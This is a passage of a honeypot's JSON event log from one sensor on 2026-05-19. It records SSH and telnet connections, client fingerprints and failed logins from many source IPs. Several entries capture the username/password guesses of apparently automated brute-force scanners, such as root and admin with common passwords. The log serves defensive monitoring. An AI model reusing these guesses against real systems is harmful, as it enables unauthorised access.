SH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:13.048388Z","src_ip":"69.6.234.27","session":"362ac8d3bb0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456..","message":"login attempt [root/aa123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:13.371362Z","src_ip":"69.6.234.27","session":"362ac8d3bb0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:14.448240Z","src_ip":"69.6.234.27","session":"362ac8d3bb0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00720834732056,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:37.187699Z","src_ip":"186.195.16.41","session":"d303dab58b02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":43134,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca5ae3e64586","protocol":"ssh","message":"New connection: 94.159.98.239:43134 (159.203.135.109:22) [session: ca5ae3e64586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:41.228714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:41.439706Z","src_ip":"94.159.98.239","session":"ca5ae3e64586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:41.443503Z","src_ip":"94.159.98.239","session":"ca5ae3e64586","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trazenkvarel","message":"login attempt [root/trazenkvarel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:42.618759Z","src_ip":"94.159.98.239","session":"ca5ae3e64586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:43.883164Z","src_ip":"94.159.98.239","session":"ca5ae3e64586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":47146,"dst_ip":"10.17.0.5","dst_port":22,"session":"27e64fba77ca","protocol":"ssh","message":"New connection: 147.45.199.80:47146 (10.17.0.5:22) [session: 27e64fba77ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:45.437456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:45.442094Z","src_ip":"147.45.199.80","session":"27e64fba77ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:45.538332Z","src_ip":"147.45.199.80","session":"27e64fba77ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bhjxrf","message":"login attempt [root/bhjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:45.827769Z","src_ip":"147.45.199.80","session":"27e64fba77ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:46.925053Z","src_ip":"147.45.199.80","session":"27e64fba77ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":40886,"dst_ip":"159.203.135.109","dst_port":22,"session":"58862f9a3324","protocol":"ssh","message":"New connection: 147.45.197.250:40886 (159.203.135.109:22) [session: 58862f9a3324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:47.775652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:47.780996Z","src_ip":"147.45.197.250","session":"58862f9a3324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:47.870405Z","src_ip":"147.45.197.250","session":"58862f9a3324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789n","message":"login attempt [root/123456789n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:48.138367Z","src_ip":"147.45.197.250","session":"58862f9a3324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:49.230409Z","src_ip":"147.45.197.250","session":"58862f9a3324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41028,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d384e58eb63","protocol":"telnet","message":"New connection: 192.119.13.58:41028 (10.17.0.5:23) [session: 5d384e58eb63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:51.537732Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":57494,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bc6d2c05177","protocol":"ssh","message":"New connection: 43.156.2.226:57494 (159.203.135.109:22) [session: 3bc6d2c05177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:52.398878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:52.403245Z","src_ip":"43.156.2.226","session":"3bc6d2c05177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:52.641484Z","src_ip":"43.156.2.226","session":"3bc6d2c05177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":40672,"dst_ip":"159.203.135.109","dst_port":22,"session":"47806e7e3c95","protocol":"ssh","message":"New connection: 2.57.121.112:40672 (159.203.135.109:22) [session: 47806e7e3c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:52.950282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:52.954537Z","src_ip":"2.57.121.112","session":"47806e7e3c95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:53.058459Z","src_ip":"2.57.121.112","session":"47806e7e3c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300393","message":"login attempt [admin/300393] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:53.546850Z","src_ip":"2.57.121.112","session":"47806e7e3c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bbbb","message":"login attempt [root/bbbb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:53.628112Z","src_ip":"43.156.2.226","session":"3bc6d2c05177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300381","message":"login attempt [admin/300381] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:54.653944Z","src_ip":"2.57.121.112","session":"47806e7e3c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:54.868516Z","src_ip":"43.156.2.226","session":"3bc6d2c05177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30031998","message":"login attempt [admin/30031998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:55.761895Z","src_ip":"2.57.121.112","session":"47806e7e3c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30031978","message":"login attempt [admin/30031978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:56.869089Z","src_ip":"2.57.121.112","session":"47806e7e3c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2wsx1qaz","message":"login attempt [admin/2wsx1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:57.990013Z","src_ip":"2.57.121.112","session":"47806e7e3c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:54:59.105179Z","src_ip":"2.57.121.112","session":"47806e7e3c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.97175979614258,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:24.509351Z","src_ip":"192.119.13.58","session":"5d384e58eb63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":43628,"dst_ip":"159.203.135.109","dst_port":22,"session":"e92138674af9","protocol":"ssh","message":"New connection: 89.108.118.91:43628 (159.203.135.109:22) [session: e92138674af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:27.907911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:27.912540Z","src_ip":"89.108.118.91","session":"e92138674af9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:28.045751Z","src_ip":"89.108.118.91","session":"e92138674af9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:28.451438Z","src_ip":"89.108.118.91","session":"e92138674af9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:29.585659Z","src_ip":"89.108.118.91","session":"e92138674af9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":45430,"dst_ip":"159.203.135.109","dst_port":22,"session":"05c745d5a2f2","protocol":"ssh","message":"New connection: 69.6.234.27:45430 (159.203.135.109:22) [session: 05c745d5a2f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:30.190169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:30.195408Z","src_ip":"69.6.234.27","session":"05c745d5a2f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:30.272491Z","src_ip":"69.6.234.27","session":"05c745d5a2f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sens","password":"sens","message":"login attempt [sens/sens] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:30.600554Z","src_ip":"69.6.234.27","session":"05c745d5a2f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:31.676418Z","src_ip":"69.6.234.27","session":"05c745d5a2f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":52350,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca2dd4100959","protocol":"ssh","message":"New connection: 43.173.125.185:52350 (159.203.135.109:22) [session: ca2dd4100959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:44.986559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:55:44.991101Z","src_ip":"43.173.125.185","session":"ca2dd4100959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-